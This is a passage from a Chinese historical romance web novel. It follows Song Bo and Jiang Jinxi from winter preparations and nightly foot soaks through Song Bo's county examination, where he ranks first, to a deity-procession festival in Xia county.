“这可有些小贵了。”店老板看着江金熙的脸色,见江金熙听到“贵”这个字眉头都未皱一下,才安了心继续往下说道:“寻常木炭五文一斤,这红木炭贵些,十三文一斤。” 青桥在江金熙后头听着这价格是一点儿波澜也无,传福镇的等级就摆在这,硬要让他拿出来什么上等好货,他也是拿不出来的。 十三文一斤的红木炭远不及他们京城中五十文一斤的青云炭,这价格还是便宜了。 “帮我装个五百斤吧。”江金熙道。 自他回来以后,宋泊从不往他这儿拿钱,加上他在愈馆做工赚得的银两,他身上已有八十多两,这么多钱花个六两半买五百斤炭,也是绰绰有余。 宋泊得用,青桥、阿朝和简言也得用,在他这儿断没有主子用好的,侍人用差的的道理。 店老板喜道:“诶!我这就给您装起来。” 等着装货时,江金熙出了店,县试二月开,那时候的气温依旧很低,考场里带不了保暖的东西,却能穿保暖的衣裳和鞋子,江金熙这般想着,直接到了炭店隔壁的成衣铺,给宋泊买了三套加了棉的衣裳,先前宋泊赚了钱先给他买,现在他也要想着宋泊,护好他的身子。 逛了一早晨,江金熙收获颇丰,那些东西实在重,他便让阿朝从家中把马车牵出来,将那些货拉了回去。 宋泊下工,正巧看着卖冰糖葫芦的摊子出来,他便买了四根,江金熙、青桥和简言应当爱吃,不知阿朝爱不爱吃,反正先买上就是,总归这种天冰糖葫芦不会臭掉,放几天再吃也是。 一到家,宋泊先把另外三根给了简言,让他跟大伙儿分了,随后才带着属于江金熙的那串又大又红的冰糖葫芦朝着江金熙的书房去了,他下工的时间早,离晚餐还有些时间,江金熙休息时大部分时间都是待在书房中看医书,若是要找人,书房是第一去处。 果然,江金熙的窗户半开着,人便坐在里头看书,青桥不知去了何处,屋内没瞧着人。 宋泊难得起了些调皮的兴致,他弯着腰,将自己的身形缩小,而后踮着脚尖,轻轻朝窗边走去,直到走到窗边才猛地站起来,发出“哇”的一声。 江金熙被这一声吓得一激灵,手中书都抖落在地,他也未管书,噌地一下从位置上起来,直直走到窗户边,“啪”的一下打在宋泊的手臂上,怪道:“你做什么,吓死我了。” 江金熙打这一下只是声音大,实则一点儿也不痛,宋泊乐呵呵道:“这不是看你这般认真,想逗逗你嘛。” “逗逗我,我看你是想要吓死我。”江金熙说着反身就要回去把医书捡起来,刚转了个身,手腕便被宋泊攥着,而后一支红红的东西出现在眼前,是冰糖葫芦。 宋泊将手中的冰糖葫芦晃了晃,讨好着说道:“我错了,看在冰糖葫芦的份上,可否原谅我这一次呢?” 江金熙强行按住笑意,可嘴角还是微微地上扬些许,他从宋泊手里拿过冰糖葫芦,道:“我得尝尝,好吃,我才能原谅你。” “那我便只能祈祷,今儿的摊主没有骗我了。”宋泊道。 “为何?”江金熙问。 “他说他的冰糖葫芦是镇里最好吃的。”宋泊说。 “他说你也信呢。”江金熙笑着,“好了,别在外头了,今儿冷,快进来暖和暖和。” “诶。”宋泊应声。 江金熙先把医书捡起来放在桌上,然后才将书房门打开让宋泊进来。 宋泊确实兑现了承诺,将大间的屋子让给他做书房,房内空间一大,能放下不少东西,江金熙在自个儿书房内安了好几张书柜,他的梦想便是有朝一日将这些书柜全都填满医书。 一走进屋内,宋泊便觉着一股热流往身上而来,“确实暖和,你烧了炭?” 十一月也确实该燃炭了,这雨一下,气温又下去不少,现在白日还有可能过十度,夜里便只有个位数的温度了,不过燃炭就得开窗户,这般才安全。 “今日买了红木炭,我往你书房内也送去不少,天气一冷,可得好好爱护着别受了冻。”江金熙说着,坐在书房中央的圆木桌边,他房内划区严格,吃东西、喝水什么的都不能在书桌边做,就怕一个不小心污了书本。 江金熙咬下冰糖葫芦串儿最上头的那颗山楂,山楂外的糖皮甜混着山楂酸确实好吃,他把口中的山楂咽下以后,道:“我便原谅你吧,这冰糖葫芦确实好吃。” 宋泊笑了,“多谢江公子大人大量,饶了小的这次。” 这般回答又挨了一击打。 宋泊也不生气,只是攥着江金熙打他的那只手放在双手掌心之中,江金熙体寒他不是不知道,只是这屋内已然点了炭火,热得他都快要发汗了,江金熙的手却还是如冰一般寒冷。 “我真该找个厨子来了。”宋泊道:“一年四季,你只有夏季手热些,这哪儿受得了。” “无用的。”江金熙任由宋泊暖着自己的手,“我这体寒是天生的,娘亲天天给我炖汤补身体,补了十几年,还是这般。” 江夫人的法子定然比宋泊高等不少,只是宋泊不愿江金熙每年有二百来日都是手脚冰凉,他道:“那我便换个法子,每日我都督着你,泡了脚儿才能上床睡觉。” 食补派不上用场就试试泡脚,现代有不少人也体寒,睡前热水泡脚活络气血以后,虽然不知能否改善四肢冰冷的情况,但双脚热着也是比双脚冰着好入睡。 “多麻烦呀。”江金熙说道,宋泊每日都要读书,还得花上时间来监督他泡脚,“你把这督我的活儿*交到青桥身上就是。” “不行。”宋泊知道江金熙在考虑什么,他道:“不过看你泡个脚的功夫,我也能将学的知识在脑海中转个转,这事儿就这么定了,今夜便开始。” 见宋泊这么坚定,江金熙也就由着他去了,“那好,今日我就试试你说的泡脚法子,看看是否真那般好用。” 第89章 第八十九章县试前 当夜,宋泊便捏着时间,端了盆水到他们的卧房内。 江金熙已然窝在床上,瞧着宋泊来了,他奇道:“你真的要督着我呀?” “那是自然。”宋泊回道,他将水盆放在床边,双手将长衣袖撸了起来,“来吧,泡一次试试。” 江金熙从床上坐起,用棉被将自己包成个粽子模样,只两条腿露在外头。 卧房只起了个提供睡眠地儿的作用,又因着睡觉包着被子,故而卧房中没有点红木炭,江金熙又只身着内衣,必须得包着被子才成。 宋泊脱下江金熙脚上穿着的棉袜,双脚泛冷就得穿着棉袜,以外部的保暖物品保暖。 江金熙的脚很小,几乎与宋泊的手同大,皮肤白皙,摸起来却如冰块般冰冷,宋泊托着江金熙的脚底,缓缓沉入水中,水温他已试过,热却不至于烫伤人。 江金熙两手攥着被子边,低头垂眸,脚底碰着水的时候,因着水太热,他又将脚抬了起来,“宋泊,这水儿是不是有些太烫了?” “烫了吗?那我再加些冷水。”宋泊道,他是用自己的皮肤来感受温度的,江金熙细皮嫩肉,对他来说的正好的温度可能对江金熙来说就是烫,既是为江金熙服务,自然要考虑他的感受。 江金熙又用拇指轻轻点了下水面,确实有些烫,他抬头巴巴看着宋泊,“加点儿吧。” 宋泊被江金熙这副可怜的模样逗笑了,他起身去外头又拿了盆冷水进来,这样想加多少冷水便不必再出门一趟。 宋泊加了一瓢冷水,再将手放入水盆之中,水温降了下来了,没刚刚那般热了。 “试试?”宋泊问。 江金熙点了下头,将双脚放入水中,这个温度正合适,有些烫脚,一动不动便没了感觉。 宋泊弯下腰,双手捧着江金熙的左脚,给他摁脚,宋泊其实不会摁脚的功夫也摸不清脚底穴位都在哪儿,这般蛮摁没使大劲儿,只是为了让血液流通加快些罢了。 “泡着就好,作何还要摁脚呢?”江金熙问。 “活络活络血液,让这双脚暖和些,别再冻得你睡不着觉。”宋泊答。他每日子时末才回房,躺下后等着入睡之时,总能听着江金熙翻身的声音,虽然声音不大,但因着翻的次数多,他便知道江金熙其实并未睡着。 宋泊曾听过一些体寒的人抱怨自己双腿一凉入睡就变得困难,江金熙比他早进房一个时辰却一直睡不着觉,想必就是这双脚的原因。 “我吵到你啦?”江金熙问,他已经尽量减小翻身的声响,可这双脚实在扰人,怎么也暖和不了,逼得他每日需在床上辗转反侧两个时辰,再能勉强睡上一会儿。 “没有。”宋泊手上动作轻柔,回答的语气也是十分柔和,他又上工又读书,时间都被占满了去,每日回到房中时都已疲倦不堪,几乎沾枕即眠,睡着以后连打雷都唤不醒他,更别提身侧人轻微的翻身声了。 “今儿个泡了脚试试,若是比昨日早些睡着,便是起了作用。”宋泊道,他也知道泡脚这事儿急不得,只要有些轻微进步,这脚就不算白泡。 “好。”江金熙应声,他低着头垂眸瞧着仔细为他摁脚的宋泊,像喝了蜜般觉着心底儿甜滋滋的,从小到大他不是没泡过脚,只是由心爱之人给他泡脚还是头一遭。 因着脚离地儿最近,故而恒国有脚脏的思想,为哥儿泡脚这事更是想都不敢想。虽说江金熙觉着这思想是封建糟粕,但大部分世人还是保留着这般思想,还好,宋泊与他一样,并不为这些世俗所累。 约莫过了半炷香的时间,水温降了不少,宋泊让江金熙赶紧趁着脚热缩进被中,而他则将用好了的水端出去倒了。 不知是不是泡脚起了作用,江金熙在床上躺了不过一刻钟,便睡着了。 夜半,窗外一片静谧,本来半开的窗户被宋泊关上只留了一条小缝,整个卧房说不上暖和也说不上冷。 江金熙因着生理需求从睡梦中醒了来,刚睡醒他便觉着今日的双脚回了温,现在还暖和着,脚下轻微一动,这才发觉原来是宋泊的双脚覆在他的脚上,宋泊的脚似火炉,故而他的脚才会一直暖和着。 江金熙悄悄将双脚抽了出来,而后轻轻跨过宋泊的身体,披上披风穿上靴子,麻利又轻巧地出了卧房,到边儿不远的厕房如厕。 解决好生理需求后,江金熙捏紧了披风重新回到房内,出去一趟虽然耗时不久,但到底带上了外头的湿气,他不敢离宋泊太近,怕身上湿气冻着宋泊。 江金熙把披风重新在衣架上挂好以后,便贴着墙边溜着缝钻进被窝之中,只是刚刚躺好,身上的湿气还未完全散去,他便被宋泊揽进怀中。 “我不怕冷,不必避着我。” 宋泊略带朦胧的嗓音响在江金熙的耳畔,声音不大,却足以响动江金熙的心,江金熙往宋泊怀中又去了几分,他忽而觉着他想要的生活就是如此,心爱之人陪在身边相伴入眠,如此足矣。 * 二月二日,县试前三日,宋茶栽一大早便带着行囊到了宋泊家,距离县试还有三日,秦闻特意给宋泊放了考试假,宋泊醒的早,听简言说宋茶栽来了,他便从书房里出来。 宋茶栽被简言引去大厅,宋泊一走进去便瞧着宋茶栽,唤道:“大姑,你怎的来了。” 这天还未亮,也是简言住得离大门近,耳朵尖着还听着了敲门声,不然宋茶栽可得在门外一阵好等。 “三日后就是县试,你不是要下场吗,我特意来陪你一道儿去的。”宋茶栽说。 今年的头等大事便是宋泊下场,其余事儿在这事儿面前都得让步,宋茶栽特意腾出一周多的时间,为的就是陪宋泊完成这件大事。 “我又不是小孩子,考个试还得长辈陪着去。”宋泊在宋茶栽对面坐下,“你还陪我折腾什么。” “这可是大事儿,我就要与你同去。”宋茶栽说。 宋泊再怎么大,也是她的小辈,今年还是他头次下场,宋泊就算嘴上不说,心里定然是带着些紧张的,有长辈陪着,别的不说,心底应该会因着有后盾在而轻松一些。 “金熙呢,他同不同你一起?”宋茶栽问。 年前江金熙回去了一趟,不知他与江丞相说了什么,江丞相又同意他回到镇上,今儿个时辰太早,江金熙还在卧房里休息。 “自是一起的。”宋泊道。 提起江金熙,宋泊就忍不住想笑,江金熙比宋茶栽更严重一些,四日以前便跟保护宝贝一般,一直护着他,让他别太与别人接触,免得被传染上了病,又让他别吃什么乱七八糟的东西,怕坏了肚,昨夜听闻他说要去霞县住上几日,便立即收拾起了行囊,衣服没带多少,书籍和笔倒是全装上了,就怕宋泊临时想起哪本书,却发觉那书落在家中。 传福镇隶属霞县,县试自然得去霞县考,好在传福镇离霞县不远,不过几个时辰的马车便到了,虽说离得近,但宋泊还是想着提前去霞县中住客栈,霞县内的镇子不少,大家伙儿都得挤到霞县去,这客栈定然就热手,宋泊不想在县试那日头顶星辰上霞县赶考,便只能早些去,占个客栈住下。 “何时启程,不如我早些去,先抢个客栈。”宋茶栽道。 每年县试抢客栈的事儿她也有所耳闻,她这急性子一起来,做事便着急起来,她很担心宋泊没得客栈住,越想越觉着自己应该提早一些出发,帮宋泊抢个两间房。 索性她现在坐在这儿也只是泡茶说话,还不如直接干个实事,“我这就雇个马车上霞县去。” “大姑你急什么呀。”宋泊笑了,宋茶栽这急性子,风风火火。 “别劝我,订了房我才安心。”宋茶栽道。 宋泊知道自己劝不住宋茶栽,便说着:“我不劝你,只是家中有车夫又有马车,直接喊他送你去,不是又快些时辰?” 宋茶栽圆了眼,这时候着急也没闲工夫问车夫和马车是哪儿来的,她回道:“成,你只管喊他去。” 卯时末,宋茶栽坐上了阿朝驾驶的马车,天还未完全亮,她便已经兴致勃勃往霞县去了,马车动起,宋茶栽撩起车窗帘子,“等金熙醒了,便带他赶紧来啊。” “知道了。”宋泊应声。 江金熙是辰时中醒的,一听宋茶栽早些时辰来过,甚至已经坐了马车去霞县,他惊得瞌睡虫都匿了去,“你怎么不早些喊我,让大姑先去霞县像什么样子呀!” “无妨,就是你当时醒着,她也风火着忍不了那会儿呢。”宋泊拿过床边衣架上放着的披风披在江金熙身上,“昨儿个你收拾行囊收拾到我回来才睡,晚些醒也是应当的。” “那哪儿行。”江金熙揽好披风,喊青桥把水盆拿进来,他要赶紧洗漱,赶上大姑的步伐。 第90章 第九十章县试 二月六日,县试到了,天还未亮,他便听着身侧人不断翻身的声响,他眯开一条缝,窗户外头的天依旧漆黑,离考试的时辰还久着,他将江金熙拢入怀中,道:“睡不着吗?” “想着你今日就要下场,我便睡不着觉。”江金熙乖乖应着,明明是宋泊下场考试,他却比宋泊还紧张,几乎一夜未眠,脑袋完全是清醒的,“现下还早,我不翻身了,你再睡会儿。” “无事,这点声响不碍事的。”宋泊答,他现在会醒完全与江金熙无关,是他心头紧张,这才比平日早些时候醒。 索性这觉也睡不着了,宋泊便点了房内的蜡烛,而后随意拿了本书翻起来,这些个知识他都记得透彻,秦闻也与他说过考场上的真题内容,宋泊心中有墨却依旧忍不住心中打鼓,一切还得考场见分晓。 卯时初,宋茶栽就来敲了宋泊的房门,考试时间在卯时末,他这时就得赶去县府,前头流程一过,差不多能提前个一刻进考场。 宋泊吃了两个馍馍,与江金熙和宋茶栽一块出了客栈。 客栈离县府不远,宋茶栽一路上絮絮叨叨,她也紧张,一紧张就话停不下来,“东西都带齐了吗?身份文书有没有揣好?想不想如厕?知识都记在脑子里了吗?” 宋泊知晓宋茶栽是紧张,她问的每个问题他都仔细地回答回去,到了县府门口,整个霞县的考生都来了,县府门口已经排起了长队。 至此,江金熙道:“无论结果如何,我们努力过就是。” “我知的。”宋泊应了声就要往县府门口的队尾排去,忽然手腕就被攥了一下,宋泊扭头过来,江金熙踮起脚尖,用长披风遮着脸,在宋泊的下颌处轻轻一吻,“吻过,稳过,我相信你能行的。” 宋泊轻轻抚上江金熙吻过的地方,他道:“那我定要全力以赴,才不负美人香吻。” 县府门口的队列很长,但相应的官员也有很多,门口登记的是考生的姓名、籍贯和三代履历,因着县试为最低一级,并不强行要求有人做担保,而考过了县试和府试以后,就得上县学,再要考院试就需五位同学童生与一位廪生共同担保才行。 门口吵闹声不断,还有作假之人被抓出来当场拉走的,宋泊瞧着那人一路求着官老爷放他一马,只道这恒国虽然读书人少,但每个读书人都想靠着科举这路飞黄腾达。 并非任何人都能参与科举,只有三代人都未从事过“娼优皂隶”,才有科举的机会。 宋泊顺利地通过县府的第一道关卡,入了县府大门便是半只脚踏入考场,县府门一关,就得关上一日,直到酉时末才放人。 宋泊回了个头,江金熙还站在之前那个位置一动未动,连带着黏在他身上的眼神也是依旧炙热,他身侧的宋茶栽也是激动,若不是此处不让喧哗,宋泊觉着宋茶栽会扛把大旗为他摇旗呐喊。 进了县府便是另一道关卡,搜身,进考场前需得搜过一遍身,检查是否有携带小抄等作弊材料。不过这搜身做得不算太绝,给考生留了件内衣,一来读书人自命不凡,若是将人扒光了搜身,保不齐会闹出读书人受不了此辱而自刎的事儿来,二来贴身事物若有小抄,在考官眼下也相当明显,故而不怕有考生在内衣上写小抄。 关关筛人,一个搜身关卡又拉出去几人。 搜身幕友对宋泊行了一礼后说道:“你可以进去了。” 幕友是县府自聘用来协助府中事物的人,因其为自聘,故无官位在身,保不齐这些参加考试的读书人之中会有以后的官员,所以幕友行事、说话皆彬彬有礼。 宋泊接过幕友递来的考篮,这篮子由县府统一制作,所有考生的笔、墨、砚都得放在其中,为防止作弊,笔、墨、砚虽可以自备,却得按着县府规定的规格来,比如砚台不能太厚、毛笔笔杆中心需镂空等。江金熙春节回京,再回到镇子上时给他带了一套的考试文具,文具中个个品质上乘,单文具这点,他就已经超过其他考生一截了。 出了检查,又有其他幕友递上号牌,宋泊拿了属于自己的号牌,在号房内找着相应的位置坐下,他进来的时间还算早,边儿还有些空位没坐人,宋泊将文具从考篮中拿出来,仔细研着墨。 坐在位置上,他的心反而平静了许多,砚台上墨水缓缓流出,宋泊盯着那乌墨,脑中将能想着的知识重新过了一遍。 陆陆续续的考生往号房中来,宋泊看到了李会书,李会书这次只是来试上一试,中不中并无太大关系,他年纪还小,还得读上个几年才有可能上榜。 李会书也看见了宋泊,可惜号房内不许出声,不然他可得叫一声“宋叔叔”。 县试和府试不必单独坐号,而是由知县大人坐堂监考。 等考生全都进到号房后,杨知县坐上了考官位。 杨知县一身正装,身体板正地坐在上位,见着宋泊坐与堂下,他心中一惊,宋泊去了趟京城却还能安然回来坐在堂下,可见江丞相已然接受了宋泊,如此他便得仔细瞧着他,好保住他脑袋上的乌纱帽。 眼瞅着时间差不多,杨知县亲自发了试卷,试卷可以提前翻看,等到钟声响时才可作答。 秦闻与他说过,这县试考五场,前两场简单些,并不考验考生的文笔,只要文意通顺,没有犯了忌讳就可通过。古代人很重视名讳,在考试途中遇着圣讳、庙讳、御名等一系列名讳,可得换了同音字写。 宋泊将题目在脑里转了个圈,答案立刻映在脑中。 咚—— 一声长钟响,考试开始。 其余人还需在草纸上打个草稿,语句通顺了才敢写下来,而宋泊自信着,直接沾了墨就在正式答卷上写下。 第一场考基础知识,从《周易》和《中庸》中各抽了两篇,考察考生对四书五经的了解程度。 当然,并不是简单将《周易》和《中庸》翻译了就能通过,还得加上自己对书中内容的见解,这样才能得分通过第一场考试。 一个时辰稍转及逝,钟声再次响起,所有人都得停手提笔。 卷子上交后,考生要走出号房,在外面院子中等待第一场考试的结果,成绩不合格者会被刷下去,只有完成五场考试的考生,才有可能出现在县试红榜上。 李会书跑到宋泊面前说:“宋叔叔,我听爹爹说你今年下场,原来是真的!”在县府内,考生不宜太过熟络,李会书便与宋泊保持着距离,只敢说话打招呼。 一年过去,李会书长了一岁,个子也窜高不少,个子到了宋泊的胸前。刚刚在考场上他一瞧着题便大脑放空,紧张得一字也蹦不出来,直到想着宋泊也在号房内,他才冷静下来,答了卷子。四书五经的内容宋泊都与他说过,所以除去前头的紧张,他还是相信自己能通过第一场考试的。 “怎么样?可都写出来了?”宋泊问。 李会书眼里闪着光,语气中满是自信,“多亏宋叔叔,两篇内容我都答出来了!” 宋泊被李会书的拍马屁给逗笑了,他道:“你自个儿的事儿,与我有何关系?” “若非宋叔叔拉了我一把,我现在可参加不了县试。”李会书说:“就是你的功劳。” 没有宋泊,他今年定然还在自个儿琢磨四书五经的内容,没准还会不小心听着错误的解析,误入歧途,那可是苦读再久,连第一场考试也无法通过。 一刻钟过去,公布了第一场考试的结果,考试简单,仅有几人被刷了去,考科举的人若是连基础都打不好,就别谈考更高级别的试了。 每场考试都会根据当场考试的成绩调整位置,而这目的便是让杨知县瞧清楚那些有潜力的考生。 宋泊因着第一场考试的成绩坐到了第一位,而李会书就难些,坐在尾部位置。 位置挪到前面就意味着得在杨知县的眼皮底下写卷子,有些心理素质不好的考生被提到了前头反而答不好卷子落了榜,所以被提到前头来,既有好处也有坏处。 不过宋泊倒是无所谓被杨知县盯着瞧,在现代上课时最多有百来人同一时间盯着他瞧,杨知县不过一人,没什么好畏惧的。 咚—— 第二场钟声响起,宋泊垂眸作答。 第二场考试的内容与第一场考试类似,只是多加了道写诗题,诗这种文体可考验人,科举中能写的诗又只有五言和七言,篇幅短不说还得将考官要求的意境写入其中,当真是考验了考生的文学水平。 不过县试容易一些,要求做的诗也只是简单的写景诗,宋泊读过的诗没有上万也有上千,其中写景诗占了四分之一的,知晓科举会考写诗以后,宋泊便细心钻研着诗,从各大家诗词中提取出优点,在融合入自己的风格。 所以,写一首风景诗,对宋泊来说可谓是小菜一碟。 90-100 第91章 第九十一章县试中 第二场考试结果一出,宋泊依旧是第一名,又有人被刷了去。 如此反复四回,到第五场考试时,号房内已经不剩什么人了,李会书也在第三场被刷了下去,离开了县府。 号房内考生序号变化不断,只有宋泊一人,稳定地坐在一号位,这倒是引得杨知县刮目相看,要知道县试虽然是最低一级的考试,但想要一直稳坐一位也不是件容易的事儿。如此宋泊只要在第五场考试的时候没有掉链子,最终名次便不会差到哪儿去。 思及此,杨知县不禁一阵庆幸,还好当时他并未与宋泊起太大的冲突,宋泊此人也是大人有大量,去了京城并未告他的状,不然他这位儿早就该换个人坐了。 第五场考试考策论,题目很长,要从千百来字中分析出出卷人的意图,再由此中心扩展出一篇千字文,说来简单,其实并不那么好做。 前四场考试大家都动笔很快,一到策论,就跟时间停滞了一般,一刻钟过去都无人动笔。 宋泊第一次用上草纸,定下文章主题后再画下导图,将要写的论点、论据平铺出来,如此一篇文章的结构清晰明了,可以通过论点的程度进行细微的调整。框架出来再往里添上些内容便轻松得多,内容在他脑海之中被线串成串,宋泊想清楚后,提笔沾了墨,在正式的卷子上开始作答。 第五场考试时间稍长,有一个半时辰,交卷时间不限,越早越好,若熬到点烛的时候,分数变回被下调一档。 夕阳西下,太阳还未完全落下山头,宋泊借着最后一抹日光,停下了笔,完成作答。 宋泊拿上卷子,上交给杨知县,杨知县看着这卷子字迹清晰,便让宋泊出了号房。 宋泊前脚走出号房,后脚天便黑了,杨知县命人点上蜡烛,号房内又亮堂起来,只是没人比他早交卷子,他们都得落下一档。 宋泊在县府门口把考篮还了,拿回自己的笔袋,而后才一脚跨出县府,综合分数没那么早出,约莫三、五日才会展榜出来,宋泊心中有数,脚下步伐轻巧许多。 宋泊刚走出县府,面前便围了一圈人,连李会书和李五也在。 自李会书从县府出来以后,李会书和李五便与江金熙和宋茶栽一块儿,坐在县府对面的茶楼里,四人一直盯着县府门口,就怕看着宋泊从里头走出来,还好,宋泊熬完了考试,到最后一门才从县府里出来。 “饿极了吧。”宋茶栽问,县试关在里头一天,期间就给个馒头充饥,这么个大男人怎么扛得住。 “是饿了。”宋泊答,他在家中食量不小,单单一个馒头,到第四场答完就消化得差不多了。 “大姑已经在客栈叫好了菜,我们直接回去吧。”江金熙说。 “那也好。”宋泊看着李五和李会书,“李兄和会书也来,难得在霞县聚上,可得一块儿吃顿饭。” 五人回了客栈,店老板给他们留了桌,只要人齐了马上上菜。 客栈厅内聚满了人,有些考至一半便被刷下来的人,在桌上与朋友、家人诉苦,“我看县老爷今年发了疯,出的卷子恁难。” “欸,就是啊,我来考了多回,这是第一次考一半就被刷下来的。”与他同坐的学子一同抱怨着。 因着宋泊是第一个交策论出门的,故而没有其他完考学子出现在客栈内。 “那不是第一位吗,怎的那么早就出来了。”那边儿的学子注意到宋泊,与同伴说着,“策论可难哩,上回我写策论,写到蜡烛燃了一半才写完,他这么早就出来了,当是提前交了卷。” “这么厉害?”同行人问。 “可不,人与人一比,那可得气死。”那人回道。 说话人的桌离宋泊他们这桌不远,桌上人都听见了别人的闲谈。 “宋泊,你提早交卷了?”宋茶栽问,难怪当时他们在县府门口并未瞧着其他考生。 “是早了些交卷,策论写完也改不成便直接交了。”宋泊答,其它题目或许还能检查一番,把错的答案改成对的,可策论是一篇文章,落笔无悔,在上头改改写写把整张卷子弄得乱七八糟,定然会往下拉分,既如此不如不改,直接卷面整洁着上交就是。 见宋茶栽神色有些凝重,江金熙赶紧补上一句,“策论写完在里头苦坐作甚,像现在这样早早陪我们一块儿吃晚饭不是也乐哉?” 长辈的思想比较古板,会将时间长短与答卷质量联系在一起,别而个写一个半时辰就是比写一个时辰的好。 “宋叔叔可厉害了!”听着别人说起宋泊,李会书也忍不住了,他作为在号房内看着宋泊一直坐在第一位的人,眼中的崇拜已然藏不住,他神采飞扬地与大家说着宋泊有多厉害。 坐第一位本就不易,宋泊还一坐坐了四场,这般厉害的人教了他读书,让他如何能不骄傲? 有大伙儿帮着宋泊说话,宋茶栽也想开了些,按李会书这么说,宋泊上榜已经是板上钉钉的事儿,上榜便是厉害,第一次下场就能上榜足以令她自豪,也就不管早出考场的事儿了。 县试出榜得三、五日,时间不长,宋泊便与江金熙、宋茶栽和李会书留在霞县,等着放榜,而李五不过请了一日的假,当夜吃完晚饭便赶回了传福镇。 上次来霞县还是因着江金熙的案子,现在县试也考完了,虽然后头可能还有四月的府试,但放松玩乐一日也是需要的,劳逸结合才是读书的最好法子。 第二日一早,天还泛着蓝青色,宋泊便被一阵鞭炮声吵醒了来,那鞭炮就像在他们客栈下放的一样,声音巨大。 “发生何事了?”江金熙未睁开眼,听着耳边噼里啪啦的声音,他皱了下眉,拿着被子把自己的脑袋捂起来。 昨日李五走后他们还喝了不少酒,现下睡得真香却被鞭炮声吵醒了来,着实有些恼人。 宋泊从床上下来走至窗边,刚把窗户打开,鞭炮燃烧产生的烟气便飘入他们的房间之中,他往外看去,街边排满了鞭炮,不少人端了桌放在街边,桌上还放了水果、猪腿等供品,供品前还用碗装着米,碗前摆了三杯茶。 如此瞧来,霞县今日应该有活动。 宋泊关上窗户,新一阵的鞭炮又响了起来。 “今日霞县有活动,要不要下去看看?”宋泊问。 江金熙心底想睡觉,但这环境吵闹不堪实在无法再次入睡。既然霞县有活动,那便起来瞧瞧,毕竟若是在京城,这般阵仗的鞭炮声也只有春节才能听着。 宋茶栽和李会书也被鞭炮声吵醒,听闻他们要下楼瞧瞧,他们便也跟上了一起。 下至一楼,便发现店内的所有员工和老板都聚在一楼,一楼抽了张四方桌出来,上头摆满了供品。 宋泊随便拉过一个店小二,问:“借问一下,今日可是有什么活动?” “今日是神仙的生辰,有抬神的活动。”店小二答道:“听你们这么问,你们应该是第一次参加这种活动吧,可把香拿着,等会儿神仙来了点上。”这般吉日,店小二待人越发热情,桌上本就放了散香,就是供给外地旅客用的。 店小二抓了十二支香,给每人分了三支,“等会儿点了香把愿望说给神仙听,再把香插到米碗中就行。” “多谢。”宋泊应了一声,与江金熙、宋茶栽和李会书一起走出客栈。 外头因为放了鞭炮,烟雾缭绕的倒有几分在仙境的味道,清晨的第一抹阳光从云层中露下来,路的尽头出现一支红绿相间的巨大旗帜,旗帜越来越近,后头的队伍也露了出来,声势浩大。 与队伍一同出现的还有喧天的锣鼓声、铜锣声,队伍慢慢接近,大旗后面是一串比大旗小些的旗帜,旗帜分为两排跟在大旗以后,花鼓队接在旗帜队后头,也是两排,前面人身着黄衣腰间背着个椭圆形的红色腰鼓,两手拿着木槌边捶着鼓便跳舞,后面人身着粉红色衣裙,手上拎着一把红黄相间带有垂穗的圆伞,与前面人一起舞动着。 宋泊在现代未看过抬神,现如今亲眼目睹,被面前的景象吸引了去。 周围百姓越来越多,人挤人免不了一阵推搡,宋泊揽住江金熙的肩膀,将他往怀中带,又喊宋茶栽牵好李会书,别让李会书被人流给冲了走。 花鼓队往后是乐器队,两人推着一个木车,木车上站有一人打着鼓,那鼓很大,圆面可站下五个人,鼓旁是两个拿着铜锣的人,再往后有两人拿着镲,乐器队的声响极大,甚至能盖过正在燃放的鞭炮声。 乐器队后头才是抬神队伍,四人、六人或八人一组,每组都为男子,他们身上抬着个红木轿,轿子上摆着神仙像,抬神可有技巧,步伐快的同时又不可一边倾斜倒了神像,如此便得训练,什么人抬什么像都是固定的。 店小二拍了下宋泊的肩膀,催道:“快快快,回屋里点香了。” 客栈一楼已经聚满了人,宋泊拿过大家的香,挤到蜡烛边儿,一块儿把香点着。 第92章 第九十二章案首 客栈门口鞭炮声响起,抬神的人便就着这燃烧的鞭炮,疾步跑进客栈之内,到四方桌前停下一会儿又疾步出去,那速度与跑步相差无几。 宋泊瞧着店小二的动作,在第一座神像进来时,店小二就把香举过额头,闭着眼嘴里碎碎念着什么,应当是在此时便可许愿上香。 大伙儿学着店小二的动作,也将香举过头顶。 如今的宋泊已无什么别个愿望,唯一只想江金熙、家中人与好友都健康平安就是。 宋泊这么想着,便也这么许了愿,等他睁开了眼,便把三炷香插在桌子前头*的米盆上。 抬神的队列依旧在客栈内跑着,江金熙也许好了愿,把香插好。 京城最多就建些庙宇,没像南边这样,还会将神仙抬出来。 抬神队列过去后,整个队列也走完了,鞭炮声随着队列往前移动,客栈这处安静了下来,如此一个时辰过去,天已大亮。 “你许了什么愿儿?”宋泊歪了下头,轻声问着江金熙。 江金熙抬起头来,调皮地眨了下眼,“不告诉你。” 抬神队列越走越远,小摊小贩便支上了摊子,今日摊子与平日有所不同,倒是跟庙会比较相似。 “出去玩玩?”宋泊问。 “好呀!”江金熙欣然答道,宋茶栽还想回去休息,便只有李会书跟着他们一块儿走。 “热汤圆,卖热汤圆咯!” “馄饨馄饨,一碗五钱。” “瞧一瞧看一看,庙里开光过的符,可灵了!” 摊贩们吆喝着,今儿个特殊日子,物价会略微往上涨一些。 江金熙被最后一个摊贩的声儿吸引了去,县试刚刚考完,正是求福气的时候,刚刚抬神队来时,他也是许了宋泊高中的愿望,且不论之后的仕途如何,至少得让这一年的努力不要付诸东流。 江金熙到了摊子前,摊贩一见来了三人,便嘴甜着道:“我一瞧,这位公子便有高中之相,夫郎可要给公子买上个符带着,如此更稳妥一些。” 听着摊贩称自己为夫郎,江金熙的耳廓动了两下,“说说价钱。” 摊上的符有很多种,其中以绣在黄布上那种吉符最为精致。 “每款价格都不同,得看您挑哪款,我在给您报价。”摊贩搓着手说道。 “不用买这些。”宋泊说着就想把江金熙拉走,江金熙却道:“既已问了,就买一个讨个吉利。” 今日是个喜庆日子,宋泊依了江金熙,反正这符也不贵,买下来还能让江金熙高兴。 “江哥哥,买这个、买这个!”李会书在摊上挑了“金榜题名”的绣符,亮给江金熙看。 江金熙拿起来仔细瞧着,上头绣工不错,闻来还有香气。 “这上头可有寺庙的香味,与别个香味都不同的,有定神清心的作用。”摊贩赶紧介绍着。 “这个多少钱?”江金熙问。 “你瞧这上头有绣纹,又有寺庙香,而且我还背着去开了光……”摊贩絮絮叨叨说着这吉符的好。 江金熙打断了他的话,“你只管说多少就是。” 摊贩张开手指,“三两银子。” 